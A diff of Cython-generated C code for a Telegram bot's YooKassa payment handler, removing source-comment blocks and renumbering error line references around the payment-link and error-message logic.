__pyx_t_1 = 0; } @@ -9787,51 +8863,30 @@ static PyObject *__pyx_gb_8handlers_8payments_12yookassa_pay_14generator4(__pyx_ __pyx_cur_scope->__pyx_v_payment = __pyx_t_2; __pyx_t_2 = 0; - /* "handlers/payments/yookassa_pay.py":323 - * ) - * - * if payment["status"] == "pending": # <<<<<<<<<<<<<< - * payment_url = payment["confirmation"]["confirmation_url"] - * - */ - __pyx_t_2 = __Pyx_PyObject_Dict_GetItem(__pyx_cur_scope->__pyx_v_payment, __pyx_n_u_status); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 323, __pyx_L21_error) + __pyx_t_2 = __Pyx_PyObject_Dict_GetItem(__pyx_cur_scope->__pyx_v_payment, __pyx_n_u_status); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 334, __pyx_L21_error) __Pyx_GOTREF(__pyx_t_2); - __pyx_t_6 = (__Pyx_PyUnicode_Equals(__pyx_t_2, __pyx_n_u_pending, Py_EQ)); if (unlikely((__pyx_t_6 < 0))) __PYX_ERR(0, 323, __pyx_L21_error) + __pyx_t_6 = (__Pyx_PyUnicode_Equals(__pyx_t_2, __pyx_n_u_pending, Py_EQ)); if (unlikely((__pyx_t_6 < 0))) __PYX_ERR(0, 334, __pyx_L21_error) __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; if (__pyx_t_6) { - /* "handlers/payments/yookassa_pay.py":324 - * - * if payment["status"] == "pending": - * payment_url = payment["confirmation"]["confirmation_url"] # <<<<<<<<<<<<<< - * - * payment_message = DEFAULT_PAYMENT_MESSAGE.format(amount=amount) - */ - __pyx_t_2 = __Pyx_PyObject_Dict_GetItem(__pyx_cur_scope->__pyx_v_payment, __pyx_n_u_confirmation); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 324, __pyx_L21_error) + __pyx_t_2 = __Pyx_PyObject_Dict_GetItem(__pyx_cur_scope->__pyx_v_payment, __pyx_n_u_confirmation); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 335, __pyx_L21_error) __Pyx_GOTREF(__pyx_t_2); - __pyx_t_1 = __Pyx_PyObject_Dict_GetItem(__pyx_t_2, __pyx_n_u_confirmation_url); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 324, __pyx_L21_error) + __pyx_t_1 = __Pyx_PyObject_Dict_GetItem(__pyx_t_2, __pyx_n_u_confirmation_url); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 335, __pyx_L21_error) __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; __Pyx_GIVEREF(__pyx_t_1); __pyx_cur_scope->__pyx_v_payment_url = __pyx_t_1; __pyx_t_1 = 0; - /* "handlers/payments/yookassa_pay.py":326 - * payment_url = payment["confirmation"]["confirmation_url"] - * - * payment_message = DEFAULT_PAYMENT_MESSAGE.format(amount=amount) # <<<<<<<<<<<<<< - * confirm_keyboard = InlineKeyboardMarkup( - * inline_keyboard=[ - */ - __Pyx_GetModuleGlobalName(__pyx_t_1, __pyx_n_s_DEFAULT_PAYMENT_MESSAGE); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 326, __pyx_L21_error) + __Pyx_GetModuleGlobalName(__pyx_t_1, __pyx_n_s_DEFAULT_PAYMENT_MESSAGE); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 337, __pyx_L21_error) __Pyx_GOTREF(__pyx_t_1); - __pyx_t_2 = __Pyx_PyObject_GetAttrStr(__pyx_t_1, __pyx_n_s_format); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 326, __pyx_L21_error) + __pyx_t_2 = __Pyx_PyObject_GetAttrStr(__pyx_t_1, __pyx_n_s_format); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 337, __pyx_L21_error) __Pyx_GOTREF(__pyx_t_2); __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; - __pyx_t_1 = __Pyx_PyDict_NewPresized(1); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 326, __pyx_L21_error) + __pyx_t_1 = __Pyx_PyDict_NewPresized(1); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 337, __pyx_L21_error) __Pyx_GOTREF(__pyx_t_1); - if (PyDict_SetItem(__pyx_t_1, __pyx_n_s_amount, __pyx_cur_scope->__pyx_v_amount) < 0) __PYX_ERR(0, 326, __pyx_L21_error) - __pyx_t_12 = __Pyx_PyObject_Call(__pyx_t_2, __pyx_empty_tuple, __pyx_t_1); if (unlikely(!__pyx_t_12)) __PYX_ERR(0, 326, __pyx_L21_error) + if (PyDict_SetItem(__pyx_t_1, __pyx_n_s_amount, __pyx_cur_scope->__pyx_v_amount) < 0) __PYX_ERR(0, 337, __pyx_L21_error) + __pyx_t_12 = __Pyx_PyObject_Call(__pyx_t_2, __pyx_empty_tuple, __pyx_t_1); if (unlikely(!__pyx_t_12)) __PYX_ERR(0, 337, __pyx_L21_error) __Pyx_GOTREF(__pyx_t_12); __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; @@ -9839,104 +8894,62 @@ static PyObject *__pyx_gb_8handlers_8payments_12yookassa_pay_14generator4(__pyx_ __pyx_cur_scope->__pyx_v_payment_message = __pyx_t_12; __pyx_t_12 = 0; - /* "handlers/payments/yookassa_pay.py":327 - * - * payment_message = DEFAULT_PAYMENT_MESSAGE.format(amount=amount) - * confirm_keyboard = InlineKeyboardMarkup( # <<<<<<<<<<<<<< - * inline_keyboard=[ - * [InlineKeyboardButton(text=PAY_2, url=payment_url)], - */ - __Pyx_GetModuleGlobalName(__pyx_t_12, __pyx_n_s_InlineKeyboardMarkup); if (unlikely(!__pyx_t_12)) __PYX_ERR(0, 327, __pyx_L21_error) + __Pyx_GetModuleGlobalName(__pyx_t_12, __pyx_n_s_InlineKeyboardMarkup); if (unlikely(!__pyx_t_12)) __PYX_ERR(0, 338, __pyx_L21_error) __Pyx_GOTREF(__pyx_t_12); - /* "handlers/payments/yookassa_pay.py":328 - * payment_message = DEFAULT_PAYMENT_MESSAGE.format(amount=amount) - * confirm_keyboard = InlineKeyboardMarkup( - * inline_keyboard=[ # <<<<<<<<<<<<<< - * [InlineKeyboardButton(text=PAY_2, url=payment_url)], - * [InlineKeyboardButton(text=PROFILE, callback_data="profile")], - */ - __pyx_t_1 = __Pyx_PyDict_NewPresized(1); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 328, __pyx_L21_error) + __pyx_t_1 = __Pyx_PyDict_NewPresized(1); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 339, __pyx_L21_error) __Pyx_GOTREF(__pyx_t_1); - /* "handlers/payments/yookassa_pay.py":329 - * confirm_keyboard = InlineKeyboardMarkup( - * inline_keyboard=[ - * [InlineKeyboardButton(text=PAY_2, url=payment_url)], # <<<<<<<<<<<<<< - * [InlineKeyboardButton(text=PROFILE, callback_data="profile")], - * ] - */ - __Pyx_GetModuleGlobalName(__pyx_t_2, __pyx_n_s_InlineKeyboardButton); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 329, __pyx_L21_error) + __Pyx_GetModuleGlobalName(__pyx_t_2, __pyx_n_s_InlineKeyboardButton); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 340, __pyx_L21_error) __Pyx_GOTREF(__pyx_t_2); - __pyx_t_3 = __Pyx_PyDict_NewPresized(2); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 329, __pyx_L21_error) + __pyx_t_3 = __Pyx_PyDict_NewPresized(2); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 340, __pyx_L21_error) __Pyx_GOTREF(__pyx_t_3); - __Pyx_GetModuleGlobalName(__pyx_t_4, __pyx_n_s_PAY_2); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 329, __pyx_L21_error) + __Pyx_GetModuleGlobalName(__pyx_t_4, __pyx_n_s_PAY_2); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 340, __pyx_L21_error) __Pyx_GOTREF(__pyx_t_4); - if (PyDict_SetItem(__pyx_t_3, __pyx_n_s_text, __pyx_t_4) < 0) __PYX_ERR(0, 329, __pyx_L21_error) + if (PyDict_SetItem(__pyx_t_3, __pyx_n_s_text, __pyx_t_4) < 0) __PYX_ERR(0, 340, __pyx_L21_error) __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; - if (PyDict_SetItem(__pyx_t_3, __pyx_n_s_url, __pyx_cur_scope->__pyx_v_payment_url) < 0) __PYX_ERR(0, 329, __pyx_L21_error) - __pyx_t_4 = __Pyx_PyObject_Call(__pyx_t_2, __pyx_empty_tuple, __pyx_t_3); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 329, __pyx_L21_error) + if (PyDict_SetItem(__pyx_t_3, __pyx_n_s_url, __pyx_cur_scope->__pyx_v_payment_url) < 0) __PYX_ERR(0, 340, __pyx_L21_error) + __pyx_t_4 = __Pyx_PyObject_Call(__pyx_t_2, __pyx_empty_tuple, __pyx_t_3); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 340, __pyx_L21_error) __Pyx_GOTREF(__pyx_t_4); __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; - __pyx_t_3 = PyList_New(1); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 329, __pyx_L21_error) + __pyx_t_3 = PyList_New(1); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 340, __pyx_L21_error) __Pyx_GOTREF(__pyx_t_3); __Pyx_GIVEREF(__pyx_t_4); - if (__Pyx_PyList_SET_ITEM(__pyx_t_3, 0, __pyx_t_4)) __PYX_ERR(0, 329, __pyx_L21_error); + if (__Pyx_PyList_SET_ITEM(__pyx_t_3, 0, __pyx_t_4)) __PYX_ERR(0, 340, __pyx_L21_error); __pyx_t_4 = 0; - /* "handlers/payments/yookassa_pay.py":330 - * inline_keyboard=[ - * [InlineKeyboardButton(text=PAY_2, url=payment_url)], - * [InlineKeyboardButton(text=PROFILE, callback_data="profile")], # <<<<<<<<<<<<<< - * ] - * ) - */ - __Pyx_GetModuleGlobalName(__pyx_t_4, __pyx_n_s_InlineKeyboardButton); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 330, __pyx_L21_error) + __Pyx_GetModuleGlobalName(__pyx_t_4, __pyx_n_s_InlineKeyboardButton); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 341, __pyx_L21_error) __Pyx_GOTREF(__pyx_t_4); - __pyx_t_2 = __Pyx_PyDict_NewPresized(2); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 330, __pyx_L21_error) + __pyx_t_2 = __Pyx_PyDict_NewPresized(2); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 341, __pyx_L21_error) __Pyx_GOTREF(__pyx_t_2); - __Pyx_GetModuleGlobalName(__pyx_t_13, __pyx_n_s_PROFILE); if (unlikely(!__pyx_t_13)) __PYX_ERR(0, 330, __pyx_L21_error) + __Pyx_GetModuleGlobalName(__pyx_t_13, __pyx_n_s_PROFILE); if (unlikely(!__pyx_t_13)) __PYX_ERR(0, 341, __pyx_L21_error) __Pyx_GOTREF(__pyx_t_13); - if (PyDict_SetItem(__pyx_t_2, __pyx_n_s_text, __pyx_t_13) < 0) __PYX_ERR(0, 330, __pyx_L21_error) + if (PyDict_SetItem(__pyx_t_2, __pyx_n_s_text, __pyx_t_13) < 0) __PYX_ERR(0, 341, __pyx_L21_error) __Pyx_DECREF(__pyx_t_13); __pyx_t_13 = 0; - if (PyDict_SetItem(__pyx_t_2, __pyx_n_s_callback_data, __pyx_n_u_profile) < 0) __PYX_ERR(0, 330, __pyx_L21_error) - __pyx_t_13 = __Pyx_PyObject_Call(__pyx_t_4, __pyx_empty_tuple, __pyx_t_2); if (unlikely(!__pyx_t_13)) __PYX_ERR(0, 330, __pyx_L21_error) + if (PyDict_SetItem(__pyx_t_2, __pyx_n_s_callback_data, __pyx_n_u_profile) < 0) __PYX_ERR(0, 341, __pyx_L21_error) + __pyx_t_13 = __Pyx_PyObject_Call(__pyx_t_4, __pyx_empty_tuple, __pyx_t_2); if (unlikely(!__pyx_t_13)) __PYX_ERR(0, 341, __pyx_L21_error) __Pyx_GOTREF(__pyx_t_13); __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; - __pyx_t_2 = PyList_New(1); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 330, __pyx_L21_error) + __pyx_t_2 = PyList_New(1); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 341, __pyx_L21_error) __Pyx_GOTREF(__pyx_t_2); __Pyx_GIVEREF(__pyx_t_13); - if (__Pyx_PyList_SET_ITEM(__pyx_t_2, 0, __pyx_t_13)) __PYX_ERR(0, 330, __pyx_L21_error); + if (__Pyx_PyList_SET_ITEM(__pyx_t_2, 0, __pyx_t_13)) __PYX_ERR(0, 341, __pyx_L21_error); __pyx_t_13 = 0; - /* "handlers/payments/yookassa_pay.py":328 - * payment_message = DEFAULT_PAYMENT_MESSAGE.format(amount=amount) - * confirm_keyboard = InlineKeyboardMarkup( - * inline_keyboard=[ # <<<<<<<<<<<<<< - * [InlineKeyboardButton(text=PAY_2, url=payment_url)], - * [InlineKeyboardButton(text=PROFILE, callback_data="profile")], - */ - __pyx_t_13 = PyList_New(2); if (unlikely(!__pyx_t_13)) __PYX_ERR(0, 328, __pyx_L21_error) + __pyx_t_13 = PyList_New(2); if (unlikely(!__pyx_t_13)) __PYX_ERR(0, 339, __pyx_L21_error) __Pyx_GOTREF(__pyx_t_13); __Pyx_GIVEREF(__pyx_t_3); - if (__Pyx_PyList_SET_ITEM(__pyx_t_13, 0, __pyx_t_3)) __PYX_ERR(0, 328, __pyx_L21_error); + if (__Pyx_PyList_SET_ITEM(__pyx_t_13, 0, __pyx_t_3)) __PYX_ERR(0, 339, __pyx_L21_error); __Pyx_GIVEREF(__pyx_t_2); - if (__Pyx_PyList_SET_ITEM(__pyx_t_13, 1, __pyx_t_2)) __PYX_ERR(0, 328, __pyx_L21_error); + if (__Pyx_PyList_SET_ITEM(__pyx_t_13, 1, __pyx_t_2)) __PYX_ERR(0, 339, __pyx_L21_error); __pyx_t_3 = 0; __pyx_t_2 = 0; - if (PyDict_SetItem(__pyx_t_1, __pyx_n_s_inline_keyboard, __pyx_t_13) < 0) __PYX_ERR(0, 328, __pyx_L21_error) + if (PyDict_SetItem(__pyx_t_1, __pyx_n_s_inline_keyboard, __pyx_t_13) < 0) __PYX_ERR(0, 339, __pyx_L21_error) __Pyx_DECREF(__pyx_t_13); __pyx_t_13 = 0; - /* "handlers/payments/yookassa_pay.py":327 - * - * payment_message = DEFAULT_PAYMENT_MESSAGE.format(amount=amount) - * confirm_keyboard = InlineKeyboardMarkup( # <<<<<<<<<<<<<< - * inline_keyboard=[ - * [InlineKeyboardButton(text=PAY_2, url=payment_url)], - */ - __pyx_t_13 = __Pyx_PyObject_Call(__pyx_t_12, __pyx_empty_tuple, __pyx_t_1); if (unlikely(!__pyx_t_13)) __PYX_ERR(0, 327, __pyx_L21_error) + __pyx_t_13 = __Pyx_PyObject_Call(__pyx_t_12, __pyx_empty_tuple, __pyx_t_1); if (unlikely(!__pyx_t_13)) __PYX_ERR(0, 338, __pyx_L21_error) __Pyx_GOTREF(__pyx_t_13); __Pyx_DECREF(__pyx_t_12); __pyx_t_12 = 0; __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; @@ -9944,57 +8957,22 @@ static PyObject *__pyx_gb_8handlers_8payments_12yookassa_pay_14generator4(__pyx_ __pyx_cur_scope->__pyx_v_confirm_keyboard = __pyx_t_13; __pyx_t_13 = 0; - /* "handlers/payments/yookassa_pay.py":334 - * ) - * - * await _send_message( # <<<<<<<<<<<<<< - * callback_query, - * text=payment_message, - */ - __Pyx_GetModuleGlobalName(__pyx_t_13, __pyx_n_s_send_message); if (unlikely(!__pyx_t_13)) __PYX_ERR(0, 334, __pyx_L21_error) + __Pyx_GetModuleGlobalName(__pyx_t_13, __pyx_n_s_send_message); if (unlikely(!__pyx_t_13)) __PYX_ERR(0, 345, __pyx_L21_error) __Pyx_GOTREF(__pyx_t_13); - /* "handlers/payments/yookassa_pay.py":335 - * - * await _send_message( - * callback_query, # <<<<<<<<<<<<<< - * text=payment_message, - * reply_markup=confirm_keyboard, - */ - __pyx_t_1 = PyTuple_New(1); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 334, __pyx_L21_error) + __pyx_t_1 = PyTuple_New(1); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 345, __pyx_L21_error) __Pyx_GOTREF(__pyx_t_1); __Pyx_INCREF(__pyx_cur_scope->__pyx_v_callback_query); __Pyx_GIVEREF(__pyx_cur_scope->__pyx_v_callback_query); - if (__Pyx_PyTuple_SET_ITEM(__pyx_t_1, 0, __pyx_cur_scope->__pyx_v_callback_query)) __PYX_ERR(0, 334, __pyx_L21_error); + if (__Pyx_PyTuple_SET_ITEM(__pyx_t_1, 0, __pyx_cur_scope->__pyx_v_callback_query)) __PYX_ERR(0, 345, __pyx_L21_error); - /* "handlers/payments/yookassa_pay.py":336 - * await _send_message( - * callback_query, - * text=payment_message, # <<<<<<<<<<<<<< - * reply_markup=confirm_keyboard, - * ) - */ - __pyx_t_12 = __Pyx_PyDict_NewPresized(2); if (unlikely(!__pyx_t_12)) __PYX_ERR(0, 336, __pyx_L21_error) + __pyx_t_12 = __Pyx_PyDict_NewPresized(2); if (unlikely(!__pyx_t_12)) __PYX_ERR(0, 347, __pyx_L21_error) __Pyx_GOTREF(__pyx_t_12); - if (PyDict_SetItem(__pyx_t_12, __pyx_n_s_text, __pyx_cur_scope->__pyx_v_payment_message) < 0) __PYX_ERR(0, 336, __pyx_L21_error) + if (PyDict_SetItem(__pyx_t_12, __pyx_n_s_text, __pyx_cur_scope->__pyx_v_payment_message) < 0) __PYX_ERR(0, 347, __pyx_L21_error) - /* "handlers/payments/yookassa_pay.py":337 - * callback_query, - * text=payment_message, - * reply_markup=confirm_keyboard, # <<<<<<<<<<<<<< - * ) - * else: - */ - if (PyDict_SetItem(__pyx_t_12, __pyx_n_s_reply_markup, __pyx_cur_scope->__pyx_v_confirm_keyboard) < 0) __PYX_ERR(0, 336, __pyx_L21_error) + if (PyDict_SetItem(__pyx_t_12, __pyx_n_s_reply_markup, __pyx_cur_scope->__pyx_v_confirm_keyboard) < 0) __PYX_ERR(0, 347, __pyx_L21_error) - /* "handlers/payments/yookassa_pay.py":334 - * ) - * - * await _send_message( # <<<<<<<<<<<<<< - * callback_query, - * text=payment_message, - */ - __pyx_t_2 = __Pyx_PyObject_Call(__pyx_t_13, __pyx_t_1, __pyx_t_12); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 334, __pyx_L21_error) + __pyx_t_2 = __Pyx_PyObject_Call(__pyx_t_13, __pyx_t_1, __pyx_t_12); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 345, __pyx_L21_error) __Pyx_GOTREF(__pyx_t_2); __Pyx_DECREF(__pyx_t_13); __pyx_t_13 = 0; __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; @@ -10025,34 +9003,20 @@ static PyObject *__pyx_gb_8handlers_8payments_12yookassa_pay_14generator4(__pyx_ __pyx_t_10 = __pyx_cur_scope->__pyx_t_2; __pyx_cur_scope->__pyx_t_2 = 0; __Pyx_XGOTREF(__pyx_t_10); - if (unlikely(!__pyx_sent_value)) __PYX_ERR(0, 334, __pyx_L21_error) + if (unlikely(!__pyx_sent_value)) __PYX_ERR(0, 345, __pyx_L21_error) } else { PyObject* exc_type = __Pyx_PyErr_CurrentExceptionType(); if (exc_type) { if (likely(exc_type == PyExc_StopIteration || (exc_type != PyExc_GeneratorExit && __Pyx_PyErr_GivenExceptionMatches(exc_type, PyExc_StopIteration)))) PyErr_Clear(); - else __PYX_ERR(0, 334, __pyx_L21_error) + else __PYX_ERR(0, 345, __pyx_L21_error) } } - /* "handlers/payments/yookassa_pay.py":323 - * ) - * - * if payment["status"] == "pending": # <<<<<<<<<<<<<< - * payment_url = payment["confirmation"]["confirmation_url"] - * - */ goto __pyx_L27; } - /* "handlers/payments/yookassa_pay.py":340 - * ) - * else: - * await _send_message(callback_query, " .") # <<<<<<<<<<<<<< - * except Exception as e: - * logger.error(f" : {e}") - */ /*else*/ { - __Pyx_GetModuleGlobalName(__pyx_t_12, __pyx_n_s_send_message); if (unlikely(!__pyx_t_12)) __PYX_ERR(0, 340, __pyx_L21_error) + __Pyx_GetModuleGlobalName(__pyx_t_12, __pyx_n_s_send_message); if (unlikely(!__pyx_t_12)) __PYX_ERR(0, 351, __pyx_L21_error) __Pyx_GOTREF(__pyx_t_12); __pyx_t_1 = NULL; __pyx_t_5 = 0; @@ -10072,7 +9036,7 @@ static PyObject *__pyx_gb_8handlers_8payments_12yookassa_pay_14generator4(__pyx_ PyObject *__pyx_callargs[3] = {__pyx_t_1, __pyx_cur_scope->__pyx_v_callback_query, __pyx_kp_u__10}; __pyx_t_2 = __Pyx_PyObject_FastCall(__pyx_t_12, __pyx_callargs+1-__pyx_t_5, 2+__pyx_t_5); __Pyx_XDECREF(__pyx_t_1); __pyx_t_1 = 0; - if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 340, __pyx_L21_error) + if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 351, __pyx_L21_error) __Pyx_GOTREF(__pyx_t_2); __Pyx_DECREF(__pyx_t_12); __pyx_t_12 = 0; } @@ -10102,24 +9066,17 @@ static PyObject *__pyx_gb_8handlers_8payments_12yookassa_pay_14generator4(__pyx_ __pyx_t_10 = __pyx_cur_scope->__pyx_t_2; __pyx_cur_scope->__pyx_t_2 = 0; __Pyx_XGOTREF(__pyx_t_10); - if (unlikely(!__pyx_sent_value)) __PYX_ERR(0, 340, __pyx_L21_error) + if (unlikely(!__pyx_sent_value)) __PYX_ERR(0, 351, __pyx_L21_error) } else { PyObject* exc_type = __Pyx_PyErr_CurrentExceptionType(); if (exc_type) { if (likely(exc_type == PyExc_StopIteration || (exc_type != PyExc_GeneratorExit && __Pyx_PyErr_GivenExceptionMatches(exc_type, PyExc_StopIteration)))) PyErr_Clear(); - else __PYX_ERR(0, 340, __pyx_L21_error) + else __PYX_ERR(0, 351, __pyx_L21_error) } } } __pyx_L27:; - /* "handlers/payments/yookassa_pay.py":288 - * return - * - * try: # <<<<<<<<<<<<<< - * payment = Payment.create( - * { - */ } __Pyx_XDECREF(__pyx_t_8); __pyx_t_8 = 0; __Pyx_XDECREF(__pyx_t_9); __pyx_t_9 = 0; @@ -10135,17 +9092,10 @@ static PyObject *__pyx_gb_8handlers_8payments_12yookassa_pay_14generator4(__pyx_ __Pyx_XDECREF(__pyx_t_3); __pyx_t_3 = 0; __Pyx_XDECREF(__pyx_t_4); __pyx_t_4 = 0; - /* "handlers/payments/yookassa_pay.py":341 - * else: - * await _send_message(callback_query, " .") - * except Exception as e: # <<<<<<<<<<<<<< - * logger.error(f" : {e}") - * await _send_message(callback_query, " .") - */ __pyx_t_17 = __Pyx_PyErr_ExceptionMatches(((PyObject *)(&((PyTypeObject*)PyExc_Exception)[0]))); if (__pyx_t_17) { __Pyx_AddTraceback("handlers.payments.yookassa_pay.process_custom_amount_input", __pyx_clineno, __pyx_lineno, __pyx_filename); - if (__Pyx_GetException(&__pyx_t_2, &__pyx_t_12, &__pyx_t_1) < 0) __PYX_ERR(0, 341, __pyx_L23_except_error) + if (__Pyx_GetException(&__pyx_t_2, &__pyx_t_12, &__pyx_t_1) < 0) __PYX_ERR(0, 352, __pyx_L23_except_error) __Pyx_XGOTREF(__pyx_t_2); __Pyx_XGOTREF(__pyx_t_12); __Pyx_XGOTREF(__pyx_t_1); @@ -10154,21 +9104,14 @@ static PyObject *__pyx_gb_8handlers_8payments_12yookassa_pay_14generator4(__pyx_ __pyx_cur_scope->__pyx_v_e = __pyx_t_12; /*try:*/ { - /* "handlers/payments/yookassa_pay.py":342 - * await _send_message(callback_query, " .") - * except Exception as e: - * logger.error(f" : {e}") # <<<<<<<<<<<<<< - * await _send_message(callback_query, " .") - * finally: - */ - __Pyx_GetModuleGlobalName(__pyx_t_3, __pyx_n_s_logger); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 342, __pyx_L35_error) + __Pyx_GetModuleGlobalName(__pyx_t_3, __pyx_n_s_logger); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 353, __pyx_L35_error) __Pyx_GOTREF(__pyx_t_3); - __pyx_t_4 = __Pyx_PyObject_GetAttrStr(__pyx_t_3, __pyx_n_s_error); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 342, __pyx_L35_error) + __pyx_t_4 = __Pyx_PyObject_GetAttrStr(__pyx_t_3, __pyx_n_s_error); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 353, __pyx_L35_error) __Pyx_GOTREF(__pyx_t_4); __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; - __pyx_t_3 = __Pyx_PyObject_FormatSimple(__pyx_cur_scope->__pyx_v_e, __pyx_empty_unicode); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 342, __pyx_L35_error) + __pyx_t_3 = __Pyx_PyObject_FormatSimple(__pyx_cur_scope->__pyx_v_e, __pyx_empty_unicode); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 353, __pyx_L35_error) __Pyx_GOTREF(__pyx_t_3); - __pyx_t_16 = __Pyx_PyUnicode_Concat(__pyx_kp_u__23, __pyx_t_3); if (unlikely(!__pyx_t_16)) __PYX_ERR(0, 342, __pyx_L35_error) + __pyx_t_16 = __Pyx_PyUnicode_Concat(__pyx_kp_u__26, __pyx_t_3); if (unlikely(!__pyx_t_16)) __PYX_ERR(0, 353, __pyx_L35_error) __Pyx_GOTREF(__pyx_t_16); __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; __pyx_t_3 = NULL; @@ -10190,20 +9133,13 @@ static PyObject *__pyx_gb_8handlers_8payments_12yookassa_pay_14generator4(__pyx_ __pyx_t_13 = __Pyx_PyObject_FastCall(__pyx_t_4, __pyx_callargs+1-__pyx_t_5, 1+__pyx_t_5); __Pyx_XDECREF(__pyx_t_3); __pyx_t_3 = 0; __Pyx_DECREF(__pyx_t_16); __pyx_t_16 = 0; - if (unlikely(!__pyx_t_13)) __PYX_ERR(0, 342, __pyx_L35_error) + if (unlikely(!__pyx_t_13)) __PYX_ERR(0, 353, __pyx_L35_error) __Pyx_GOTREF(__pyx_t_13); __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; } __Pyx_DECREF(__pyx_t_13); __pyx_t_13 = 0; - /* "handlers/payments/yookassa_pay.py":343 - * except Exception as e: - * logger.error(f" : {e}") - * await _send_message(callback_query, " .") # <<<<<<<<<<<<<< - * finally: - * await conn.close() - */ - __Pyx_GetModuleGlobalName(__pyx_t_4, __pyx_n_s_send_message); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 343, __pyx_L35_error) + __Pyx_GetModuleGlobalName(__pyx_t_4, __pyx_n_s_send_message); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 354, __pyx_L35_error) __Pyx_GOTREF(__pyx_t_4); __pyx_t_16 = NULL; __pyx_t_5 = 0; @@ -10220,10 +9156,10 @@ static PyObject *__pyx_gb_8handlers_8payments_12yookassa_pay_14generator4(__pyx_ } #endif { - PyObject *__pyx_callargs[3] = {__pyx_t_16, __pyx_cur_scope->__pyx_v_callback_query, __pyx_kp_u__24}; + PyObject *__pyx_callargs[3] = {__pyx_t_16, __pyx_cur_scope->__pyx_v_callback_query, __pyx_kp_u__27}; __pyx_t_13 = __Pyx_PyObject_FastCall(__pyx_t_4, __pyx_callargs+1-__pyx_t_5, 2+__pyx_t_5); __Pyx_XDECREF(__pyx_t_16); __pyx_t_16 = 0; - if (unlikely(!__pyx_t_13)) __PYX_ERR(0, 343, __pyx_L35_error) + if (unlikely(!__pyx_t_13)) __PYX_ERR(0, 354, __pyx_L35_error) __Pyx_GOTREF(__pyx_t_13); __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; } @@ -10268,23 +9204,16 @@ static PyObject *__pyx_gb_8handlers_8payments_12yookassa_pay_14generator4(__pyx_ __pyx_t_12 = __pyx_cur_scope->__pyx_t_5; __pyx_cur_scope->__pyx_t_5 = 0; __Pyx_XGOTREF(__pyx_t_12); - if (unlikely(!__pyx_sent_value)) __PYX_ERR(0, 343, __pyx_L35_error) + if (unlikely(!__pyx_sent_value)) __PYX_ERR(0, 354, __pyx_L35_error) } else { PyObject* exc_type = __Pyx_PyErr_CurrentExceptionType(); if (exc_type) { if (likely(exc_type == PyExc_StopIteration || (exc_type != PyExc_GeneratorExit && __Pyx_PyErr_GivenExceptionMatches(exc_type, PyExc_StopIteration)))) PyErr_Clear(); - else __PYX_ERR(0, 343, __pyx_L35_error) + else __PYX_ERR(0, 354, __pyx_L35_error) } } } - /* "handlers/payments/yookassa_pay.py":341 - * else: - * await _send_message(callback_query, " .") - * except Exception as e: # <<<<<<<<<<<<<< - * logger.error(f" : {e}") - * await _send_message(callback_query, " .") - */ /*finally:*/ { /*normal exit:*/{ __Pyx_GOTREF(__pyx_cur_scope->__pyx_v_e); @@ -10336,13 +9265,6 @@ static PyObject *__pyx_gb_8handlers_8payments_12yookassa_pay_14generator4(__pyx_ } goto __pyx_L23_except_error; - /* "handlers/payments/yookassa_pay.py":288 - * return - * - * try: # <<<<<<<<<<<<<< - * payment = Payment.create( - * { - */ __pyx_L23_except_error:; __Pyx_XGIVEREF(__pyx_t_8); 